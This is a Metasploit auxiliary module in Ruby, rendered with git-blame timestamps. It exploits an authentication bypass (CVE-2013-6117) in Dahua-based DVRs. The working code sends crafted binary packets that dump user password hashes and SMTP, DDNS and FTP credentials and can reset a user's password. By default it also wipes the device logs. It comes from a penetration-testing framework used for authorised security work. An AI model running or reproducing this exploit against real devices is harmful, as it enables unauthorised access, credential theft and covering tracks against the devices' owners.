2017-07-19 10:04:15 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-07-19 10:04:15 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-11-17 15:48:57 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
2015-12-01 15:43:58 +00:00
|
|
|
'Name' => %q(Dahua DVR Auth Bypass Scanner),
|
|
|
|
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
|
2015-11-17 19:30:33 +00:00
|
|
|
'Author' => [
|
2016-02-23 16:41:12 +00:00
|
|
|
'Tyler Bennett - Talos Consulting', # Metasploit module
|
2015-11-17 19:30:33 +00:00
|
|
|
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
|
2015-12-09 22:49:38 +00:00
|
|
|
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
|
|
|
|
'Nathan McBride' # regex extraordinaire
|
2015-11-17 19:30:33 +00:00
|
|
|
],
|
|
|
|
'References' => [
|
|
|
|
[ 'CVE', '2013-6117' ],
|
|
|
|
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
|
|
|
|
],
|
2015-12-03 23:15:48 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DefaultAction' => 'VERSION',
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
|
|
|
|
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
|
|
|
|
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
|
|
|
|
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
|
|
|
|
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
|
|
|
|
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
|
|
|
|
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
|
|
|
|
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
|
|
|
|
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
|
|
|
|
]
|
|
|
|
)
|
2015-12-03 22:53:27 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
deregister_options('RHOST')
|
|
|
|
register_options([
|
2015-12-03 22:53:27 +00:00
|
|
|
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
|
2015-12-02 19:16:36 +00:00
|
|
|
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
|
2015-12-03 22:53:27 +00:00
|
|
|
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
|
2015-11-17 19:30:33 +00:00
|
|
|
Opt::RPORT(37777)
|
2015-12-01 15:43:58 +00:00
|
|
|
])
|
|
|
|
end
|
|
|
|
|
2015-12-02 21:33:09 +00:00
|
|
|
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab version of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab Email Settings of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
|
|
|
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab DDNS Settings of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
|
|
|
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab NAS Settings of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
|
|
|
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab the Channels that each camera is assigned to on the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab the Users Groups of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab the Users and their hashes from the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to grab the Serial Number of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
2015-12-03 17:51:48 +00:00
|
|
|
# Payload to clear the logs of the DVR
|
2015-12-02 21:33:09 +00:00
|
|
|
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
|
2015-12-01 15:43:58 +00:00
|
|
|
def setup
|
|
|
|
@password = datastore['PASSWORD']
|
|
|
|
@password ||= Rex::Text.rand_text_alpha(6)
|
2015-11-17 19:30:33 +00:00
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-02 21:33:09 +00:00
|
|
|
def grab_version
|
2015-11-17 19:30:33 +00:00
|
|
|
connect
|
2015-12-02 21:33:09 +00:00
|
|
|
sock.put(VERSION)
|
2015-12-03 17:51:48 +00:00
|
|
|
data = sock.get_once
|
2015-12-04 19:08:18 +00:00
|
|
|
return unless data =~ /[\x00]{8,}([[:print:]]+)/
|
|
|
|
ver = Regexp.last_match[1]
|
|
|
|
print_good("#{peer} -- version: #{ver}")
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-03 23:15:48 +00:00
|
|
|
def grab_serial
|
2015-12-03 23:22:27 +00:00
|
|
|
connect
|
2015-12-02 21:33:09 +00:00
|
|
|
sock.put(SN)
|
2015-12-03 17:51:48 +00:00
|
|
|
data = sock.get_once
|
2015-12-04 19:08:18 +00:00
|
|
|
return unless data =~ /[\x00]{8,}([[:print:]]+)/
|
|
|
|
serial = Regexp.last_match[1]
|
|
|
|
print_good("#{peer} -- serial number: #{serial}")
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def grab_email
|
|
|
|
connect
|
|
|
|
sock.put(EMAIL)
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless (response = sock.get_once)
|
|
|
|
data = response.split('&&')
|
2015-12-08 21:24:47 +00:00
|
|
|
print_good("#{peer} -- Email Settings:")
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
|
|
|
|
if mailhost = Regexp.last_match[1].split(':')
|
2016-01-06 18:22:30 +00:00
|
|
|
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
|
|
|
|
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
|
|
|
|
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
|
2015-12-07 15:37:36 +00:00
|
|
|
mailserver = "#{mailhost[0]}"
|
|
|
|
mailport = "#{mailhost[1]}"
|
2015-12-15 21:31:25 +00:00
|
|
|
muser = "#{data[5]}"
|
|
|
|
mpass = "#{data[6]}"
|
2015-12-03 23:39:27 +00:00
|
|
|
end
|
2015-12-15 21:31:25 +00:00
|
|
|
return if muser.blank? && mpass.blank?
|
2015-12-08 21:24:47 +00:00
|
|
|
print_good(" SMTP User: #{data[5]}")
|
|
|
|
print_good(" SMTP Password: #{data[6]}")
|
2015-12-04 19:08:18 +00:00
|
|
|
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
|
2016-01-05 19:54:48 +00:00
|
|
|
report_email_cred(mailserver, mailport, muser, mpass)
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-02 21:33:09 +00:00
|
|
|
def grab_ddns
|
|
|
|
connect
|
|
|
|
sock.put(DDNS)
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless (response = sock.get_once)
|
|
|
|
data = response.split(/&&[0-1]&&/)
|
2016-08-10 18:30:09 +00:00
|
|
|
ddns_table = Rex::Text::Table.new(
|
2015-12-04 20:28:01 +00:00
|
|
|
'Header' => 'Dahua DDNS Settings',
|
|
|
|
'Indent' => 1,
|
2016-01-06 18:22:30 +00:00
|
|
|
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
|
2015-12-04 20:28:01 +00:00
|
|
|
)
|
2015-12-03 23:39:27 +00:00
|
|
|
data.each_with_index do |val, index|
|
|
|
|
next if index == 0
|
|
|
|
val = val.split("&&")
|
2015-12-15 21:31:25 +00:00
|
|
|
ddns_service = val[0]
|
|
|
|
ddns_server = val[1]
|
|
|
|
ddns_port = val[2]
|
|
|
|
ddns_domain = val[3]
|
|
|
|
ddns_user = val[4]
|
|
|
|
ddns_pass = val[5]
|
2016-01-06 18:22:30 +00:00
|
|
|
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
|
2015-12-04 19:08:18 +00:00
|
|
|
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
|
2016-01-05 19:54:48 +00:00
|
|
|
if datastore['VERBOSE']
|
|
|
|
ddns_table.print
|
|
|
|
end
|
2015-12-07 14:41:46 +00:00
|
|
|
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
2015-11-17 19:30:33 +00:00
|
|
|
end
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def grab_nas
|
|
|
|
connect
|
|
|
|
sock.put(NAS)
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless (data = sock.get_once)
|
2015-12-08 21:24:47 +00:00
|
|
|
print_good("#{peer} -- NAS Settings:")
|
2015-12-03 23:39:27 +00:00
|
|
|
server = ''
|
|
|
|
port = ''
|
|
|
|
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
|
|
|
|
server = Regexp.last_match[1].unpack('C*').join('.')
|
|
|
|
port = Regexp.last_match[2].unpack('S')
|
|
|
|
end
|
2016-02-23 17:27:07 +00:00
|
|
|
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
|
2015-12-03 23:39:27 +00:00
|
|
|
ftpuser.strip!
|
|
|
|
ftppass.strip!
|
2016-02-24 18:53:30 +00:00
|
|
|
unless ftpuser.blank? || ftppass.blank?
|
|
|
|
print_good("#{peer} -- NAS Server: #{server}")
|
|
|
|
print_good("#{peer} -- NAS Port: #{port}")
|
|
|
|
print_good("#{peer} -- FTP User: #{ftpuser}")
|
|
|
|
print_good("#{peer} -- FTP Pass: #{ftppass}")
|
|
|
|
report_creds(
|
|
|
|
host: server,
|
|
|
|
port: port,
|
|
|
|
user: ftpuser,
|
|
|
|
pass: ftppass,
|
|
|
|
type: "FTP",
|
|
|
|
active: true)
|
|
|
|
end
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def grab_channels
|
|
|
|
connect
|
|
|
|
sock.put(CHANNELS)
|
2015-12-03 17:51:48 +00:00
|
|
|
data = sock.get_once.split('&&')
|
2016-08-10 18:30:09 +00:00
|
|
|
channels_table = Rex::Text::Table.new(
|
2015-12-08 23:19:30 +00:00
|
|
|
'Header' => 'Dahua Camera Channels',
|
2015-12-14 21:23:18 +00:00
|
|
|
'Indent' => 1,
|
2015-12-15 21:31:25 +00:00
|
|
|
'Columns' => ['ID', 'Peer', 'Channels']
|
2015-12-08 23:19:30 +00:00
|
|
|
)
|
2015-12-04 19:08:18 +00:00
|
|
|
return unless data.length > 1
|
2015-12-08 23:19:30 +00:00
|
|
|
data.each_with_index do |val, index|
|
2015-12-09 22:49:38 +00:00
|
|
|
number = index.to_s
|
2015-12-10 20:51:59 +00:00
|
|
|
channels = val[/([[:print:]]+)/]
|
2015-12-15 21:31:25 +00:00
|
|
|
channels_table << [ number, peer, channels ]
|
2015-12-08 23:19:30 +00:00
|
|
|
end
|
2015-12-10 20:51:59 +00:00
|
|
|
channels_table.print
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def grab_users
|
|
|
|
connect
|
|
|
|
sock.put(USERS)
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless (response = sock.get_once)
|
|
|
|
data = response.split('&&')
|
|
|
|
usercount = 0
|
2016-08-10 18:30:09 +00:00
|
|
|
users_table = Rex::Text::Table.new(
|
2015-12-09 22:49:38 +00:00
|
|
|
'Header' => 'Dahua Users Hashes and Rights',
|
2015-12-14 21:23:18 +00:00
|
|
|
'Indent' => 1,
|
2015-12-15 21:45:45 +00:00
|
|
|
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
|
2015-12-07 19:48:28 +00:00
|
|
|
)
|
2015-12-03 23:39:27 +00:00
|
|
|
data.each do |val|
|
|
|
|
usercount += 1
|
2015-12-15 21:31:25 +00:00
|
|
|
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
|
2015-12-15 21:45:45 +00:00
|
|
|
users_table << [ peer, user, md5hash, groups, rights, name]
|
2015-12-03 23:39:27 +00:00
|
|
|
# Write the dahua hash to the database
|
|
|
|
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
|
|
|
|
report_hash(rhost, rport, user, hash)
|
|
|
|
# Write the vulnerability to the database
|
|
|
|
report_vuln(
|
|
|
|
host: rhost,
|
|
|
|
port: rport,
|
|
|
|
proto: 'tcp',
|
|
|
|
sname: 'dvr',
|
|
|
|
name: 'Dahua Authentication Password Hash Exposure',
|
|
|
|
info: "Obtained password hash for user #{user}: #{md5hash}",
|
|
|
|
refs: references
|
|
|
|
)
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
2015-12-14 21:23:18 +00:00
|
|
|
users_table.print
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def grab_groups
|
|
|
|
connect
|
|
|
|
sock.put(GROUPS)
|
2015-12-03 23:39:27 +00:00
|
|
|
return unless (response = sock.get_once)
|
|
|
|
data = response.split('&&')
|
2016-08-10 18:30:09 +00:00
|
|
|
groups_table = Rex::Text::Table.new(
|
2015-12-09 22:49:38 +00:00
|
|
|
'Header' => 'Dahua groups',
|
2015-12-14 21:23:18 +00:00
|
|
|
'Indent' => 1,
|
2015-12-15 21:31:25 +00:00
|
|
|
'Columns' => ['ID', 'Peer', 'Group']
|
2015-12-09 22:49:38 +00:00
|
|
|
)
|
2015-12-10 20:51:59 +00:00
|
|
|
data.each do |val|
|
|
|
|
number = "#{val[/(([\d]+))/]}"
|
|
|
|
groups = "#{val[/(([a-z]+))/]}"
|
2015-12-15 21:31:25 +00:00
|
|
|
groups_table << [ number, peer, groups ]
|
2015-12-10 20:51:59 +00:00
|
|
|
end
|
2015-12-14 21:23:18 +00:00
|
|
|
groups_table.print
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def reset_user
|
2015-12-03 23:22:27 +00:00
|
|
|
connect
|
2015-12-02 21:33:09 +00:00
|
|
|
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
|
|
|
|
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
|
|
|
|
sock.put(u1)
|
|
|
|
sock.put(u2)
|
|
|
|
sock.put(u3)
|
2015-12-03 23:16:54 +00:00
|
|
|
sock.get_once
|
2015-12-02 21:33:09 +00:00
|
|
|
sock.put(u1)
|
2015-12-04 19:08:18 +00:00
|
|
|
return unless sock.get_once
|
|
|
|
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def clear_logs
|
2015-12-03 23:22:27 +00:00
|
|
|
connect
|
2015-12-02 21:33:09 +00:00
|
|
|
sock.put(CLEAR_LOGS1)
|
|
|
|
sock.put(CLEAR_LOGS2)
|
2015-12-03 23:01:27 +00:00
|
|
|
print_good("#{peer} -- logs cleared")
|
|
|
|
end
|
|
|
|
|
|
|
|
def peer
|
|
|
|
"#{rhost}:#{rport}"
|
2015-12-02 21:33:09 +00:00
|
|
|
end
|
|
|
|
|
2015-12-04 20:28:01 +00:00
|
|
|
def run_host(_ip)
|
2015-12-03 23:15:48 +00:00
|
|
|
begin
|
|
|
|
connect
|
|
|
|
sock.put(U1)
|
|
|
|
data = sock.recv(8)
|
|
|
|
disconnect
|
|
|
|
return unless data == DVR_RESP
|
2015-12-03 23:01:27 +00:00
|
|
|
print_good("#{peer} -- Dahua-based DVR found")
|
2015-12-02 21:33:09 +00:00
|
|
|
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
|
2015-12-03 23:01:27 +00:00
|
|
|
|
2015-12-03 23:15:48 +00:00
|
|
|
case action.name.upcase
|
|
|
|
when 'CHANNEL'
|
2015-12-02 21:33:09 +00:00
|
|
|
grab_channels
|
2015-12-03 23:15:48 +00:00
|
|
|
when 'DDNS'
|
|
|
|
grab_ddns
|
|
|
|
when 'EMAIL'
|
|
|
|
grab_email
|
|
|
|
when 'GROUP'
|
2015-12-02 21:33:09 +00:00
|
|
|
grab_groups
|
2015-12-03 23:15:48 +00:00
|
|
|
when 'NAS'
|
|
|
|
grab_nas
|
|
|
|
when 'RESET'
|
2015-12-02 21:33:09 +00:00
|
|
|
reset_user
|
2015-12-03 23:15:48 +00:00
|
|
|
when 'SERIAL'
|
|
|
|
grab_serial
|
|
|
|
when 'USER'
|
|
|
|
grab_users
|
|
|
|
when 'VERSION'
|
|
|
|
grab_version
|
2015-11-17 19:30:33 +00:00
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-03 23:15:48 +00:00
|
|
|
clear_logs if datastore['CLEAR_LOGS']
|
|
|
|
ensure
|
2015-11-17 19:30:33 +00:00
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-02 21:33:09 +00:00
|
|
|
def report_hash(rhost, rport, user, hash)
|
2015-11-17 19:30:33 +00:00
|
|
|
service_data = {
|
2015-12-02 21:33:09 +00:00
|
|
|
address: rhost,
|
2015-11-17 19:30:33 +00:00
|
|
|
port: rport,
|
|
|
|
service_name: 'dahua_dvr',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
credential_data = {
|
2015-11-18 15:40:50 +00:00
|
|
|
module_fullname: fullname,
|
2015-11-17 19:30:33 +00:00
|
|
|
origin_type: :service,
|
|
|
|
private_data: hash,
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
jtr_format: 'dahua_hash',
|
|
|
|
username: user
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-07 14:41:46 +00:00
|
|
|
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
2015-11-17 19:30:33 +00:00
|
|
|
service_data = {
|
2015-12-07 14:41:46 +00:00
|
|
|
address: ddns_server,
|
2015-11-17 19:30:33 +00:00
|
|
|
port: ddns_port,
|
|
|
|
service_name: 'ddns settings',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
credential_data = {
|
2015-11-18 15:40:50 +00:00
|
|
|
module_fullname: fullname,
|
2015-11-17 19:30:33 +00:00
|
|
|
origin_type: :service,
|
|
|
|
private_data: ddns_pass,
|
|
|
|
private_type: :password,
|
|
|
|
username: ddns_user
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-12-03 20:36:08 +00:00
|
|
|
def report_email_cred(mailserver, mailport, muser, mpass)
|
2015-11-17 19:30:33 +00:00
|
|
|
service_data = {
|
|
|
|
address: mailserver,
|
2015-12-03 20:36:08 +00:00
|
|
|
port: mailport,
|
2015-11-17 19:30:33 +00:00
|
|
|
service_name: 'email settings',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
credential_data = {
|
2015-11-18 15:40:50 +00:00
|
|
|
module_fullname: fullname,
|
2015-11-17 19:30:33 +00:00
|
|
|
origin_type: :service,
|
|
|
|
private_data: mpass,
|
|
|
|
private_type: :password,
|
|
|
|
username: muser
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}.merge(service_data)
|
2015-11-16 18:54:44 +00:00
|
|
|
|
2015-11-17 19:30:33 +00:00
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
2015-11-16 18:54:44 +00:00
|
|
|
end
|